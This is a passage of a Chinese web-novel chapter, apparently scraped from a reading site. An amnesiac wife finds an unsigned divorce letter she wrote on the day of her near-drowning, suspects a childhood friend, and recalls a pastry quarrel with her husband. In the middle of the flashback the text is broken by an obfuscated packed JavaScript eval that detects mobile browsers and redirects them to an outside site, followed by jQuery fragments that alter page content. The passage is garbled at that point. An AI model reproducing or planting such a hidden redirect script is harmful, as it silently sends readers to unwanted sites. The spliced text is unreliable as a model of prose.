把苍北辰哄睡着,景云歌想起东暖阁那几口大檀木箱子,反正下午也没什么事,干脆把箱子收拾一下。
最上面的小匣子,上次打开时景云歌并没有很仔细看,只记得里头东西乱七八糟,似乎都与苍定野有关。
她怀着小心思,既然自己嫁给苍定野时也喜欢他,那这小匣子里,会不会有他送的情书呢?
小姑娘换了身松快的宽袖白色绢衫,搬着小板凳坐到柜子前,准备大干一场。
匣子最上面一层都是些细碎的小玩意,大部分是前几年苍定野送的,即使如今景云歌失忆了,也能说出大部分东西的来龙去脉。
比如踏春时他蹲在河边给她捏的小泥虎、出征安息凯旋时带回来的香料,还有过年时为了骗她叫一声“哥哥”而包的红包。
看着那些泛白褪色的物件,景云歌几乎还能想起当时少年狡黠又温柔的笑。
把这些东西扒拉开,则是一些陌生却贵重的东西,玉环,首饰……所有东西,无一例外都被摔碎了。
这是怎么了?小姑娘忍不住犯嘀咕,长大之后的自己还添了手抖的毛病?
再往下,箱子底部放着一个小巧的银匣。
前几天景云歌就是在银匣上发现了那枚被撕碎的护身符。
景云歌把银匣拿出来,却发现上面的锁眼被人灌了铁水,堵住了。
拿起来晃一晃,倒是很轻,听着声音,里头似乎都是纸页一类的东西。
难道是情书?
景云歌把银匣拿出来放在一边,准备找个时间撬开。
原本以为,这个银匣就是今天下午最大的收获,让小姑娘没想到的是,银匣下面,竟然还压着一个信封。
不同于其他旧物,这个信封看起来很新,用的还是时下流行的金粟山藏经纸。
景云歌把信封拿起来,竟然没有封口,接着,一张薄薄的纸就飘了出来。
她好奇地拾起来,只看到最前面的几个字,就仿佛被一盆雪水从头浇到了脚。
是和离书,而且是她自己的字迹。
景云歌强忍着眼前的晕眩,把这张和离书从头到尾读了三遍。
二十二岁的她,远比现在要果断决绝,甚至称得上冷酷无情。
她没有要任何金银细软,甚至把苍北辰留给了苍定野。
她只要自由。
最底下落款,竟然就是景云歌落水那天。
但是,日期旁只有她自己的名字和私印,苍定野那里空着。
景云歌心跳如擂鼓。
她不知道苍定野有没有看过这封和离书。
但是凭借她对苍定野的了解,依着他爱恨分明的性格,如果看到了,一定会在这封和离书上签字的。
——也就是说,苍定野还不知道,二十二岁的自己想要与他和离。
小姑娘心乱如麻,眼前都是这几日他们相处的画面。
他会噙笑望着她,唤她云歌。
他会任由她撒娇,默默纵容她使小性子。
他会哄她开心,陪她吃好吃的。
为什么要和离?
……难道是因为凌沧时吗?
飞快把和离书揉成一团,扔进匣子中,景云歌猛地合上盖子。
闭眼,深呼吸。
……就当做什么都没有发生过。
剑兰听到声音走进来,惊讶道:
“夫人,您怎么了?可是又头痛了?怎么脸色这样白。”
“没事。”
景云歌勉强笑了一下:
“剑兰,我落水那日,可有什么异常?”
如果自己真的打算和苍定野和离,最后为什么没有告诉他?
又为什么,就恰好在打算和离的那天,差点落水淹死?
景云歌出事后,她身边的人都被苍定野仔细问过一遍,所以剑兰记得很清楚那日发生的事情:
“回夫人,那日您起身后,先传了小世子,又去书房同君上商议事情。中午时您说倦了,便没有传膳。下午您拆了一封信,看完后说要去报恩寺,并未带亲卫……”
她顿了顿,低下头,“……就出事了。”
景云歌连忙问:“是谁给我写的信?”
剑兰摇头,“奴婢不知。”
小姑娘不死心,又问道,“那信还在吗?”
剑兰又摇头。
“我知道了。”她摆摆手,“你先去忙吧。”
剑兰低头行礼:“是。”
景云歌低头慢慢搓捻着手指。
她怀疑那封信是凌沧时写的。
结合他那日在报恩寺说,是他太优柔寡断,瞻前顾后,没能保护好她。
……难道是,她告诉凌沧时,自己打算和苍定野和离。
然后要凌沧时娶她,给她名分,但他没有同意。
以景云歌的性子,肯定会闹。
说不定还会威胁凌沧时。
于是他干脆假意把她约出来,然后推进湖中杀人灭口。
景云歌想到这里,后背冷汗涔涔。
她怎么也想不到,看似温和知礼的凌沧时,竟然下手这么狠。
但是,这些都只是推测,还要拿到确凿的证据才行。
这时内侍进来说晚膳已经摆好了,景云歌只好先把匣子放回去,“知道了。”
……
因着小姑娘中午在外头胡吃海塞,晚上的膳食都很清淡。
苍定野今天身体不舒服,只喝了一碗参汤。
景云歌看在眼里,很是愧疚,毕竟他是为了哄她高兴,才强撑着陪她出去的。
“燕窝已经泡好了,要不要让他们炖一盏?很快就好。”小姑娘很担心,软声劝着,“府医特意叮嘱说你要多吃点的。”
苍定野摇头,“没事。”他给景云歌夹了一块她喜欢吃的羊羹,“冷下来就膻了。”
羊羹很香,小姑娘的注意力被吸引走了一瞬,但她很快就回过神,“别岔开话题!今晚不能只喝参汤。”
她想了想,“我给你做白玉糕吧?从前你最喜欢我做的白玉糕了。”
在宫中读书时,景云歌会做了小点心带去上书房。
苍定野总是吃得最多的那个,自己那份吃完了,还要抢食盒里剩下的几块。
景云歌不乐意了,把食盒藏在身后:“你不许吃,这是留给沧时哥的!”
“好啊,景小歌。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763618|174493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
苍定野端着臂,似笑非笑地看着景云歌,“你把好看的那几块都留给时哥,碎了的全都打发给我吃?”
景云歌的脸一下就红了:“你,你跟沧时哥又不一样!”
“怎么不一样?”
苍定野伸手猛地一抄,食盒就被他抢去,“怎么,你喜欢他?”
小姑娘的脸立刻红了:“把、把食盒还给我!”
苍定野身量极高,景云歌只到他胸口,垫脚跳着要把食盒抢回来。
苍定野很顽劣地把食盒举过头顶,笑嘻嘻道:
“叫一声哥哥,我就还给你。”
“你,你不知羞!”
景云歌够不到,只能伸手猛戳他的腰间。
苍定野就好脾气任由她戳,直到景云歌没了力气,眼圈泛红,才把食盒放到她手里,“行了行了,别哭啊,要不然太傅又要罚我了。”
景云歌不回答,也不管里头的白玉糕了,直接抡圆了食盒,照着他的胳膊就是一下。
“哎呦!”
她知道苍定野的胳膊有伤,是前几天跟着他爹庆国公去江北剿匪时,被山匪的流矢擦伤的。
回来后,苍定野还特意给她看伤,骗了她不少眼泪。
苍定野猛地捂住胳膊,呲牙咧嘴,“景小歌,你这纯属报复!”
景云歌怒道:“打的就是你!”
这时景云烈抱着琴,一袭白衣,施施然飘进来了,扔下一句:“活该。”
他自顾自把食盒打开,白玉糕自然已经碎了,挑了块还算完好的,景云烈放进嘴里,旋即蹙眉:
“这次没加糯米酒?味道淡了不少。”
景云歌的脸一下就红了,瞪了一眼旁边的苍定野,别过头小声道:
“还不是因为某个人受伤了……”
……现在再想起从前的事情,仿佛已经过去很久很久了。
苍定野摇头,“不用了。”
景云歌装作很失落,声音小小的,像受了什么委屈,“你是嫌弃我手艺不好吗?”
苍定野果然很吃这一套,他犹豫了一下,“没有。只是不想你太累。”
“不累,很快的。”小姑娘立刻来了精神,变脸速度之快让苍定野后知后觉意识到自己好像被骗了。
“你等我呀,很快就好!”
说完就要起身。
苍定野拉住她的手腕,“我和你一起去。”
景云歌不乐意。“膳房那么热,你去干什么?”
苍定野很认真地说,“因为膳房很热,所以要和你一起去。”
望着那双桃花眼,景云歌心跳似乎慢了半拍。
“好。”她耳朵红红的,“但你不许进去。在外间等着就行。”
苍定野答应了,“好。”
……
膳房的外间主要是用来摆放药材干料的,内间很大,三间房套在一起,景云歌只用了最外面那间。
她费了好大劲,才踮起脚把米糕放进蒸笼里,回过头,就看到苍定野坐在门口,正望着她笑。
小姑娘跑到门口,掐着腰很没底气地问,“你,你笑什么?”
苍定野没说话,只是伸手示意她弯下腰。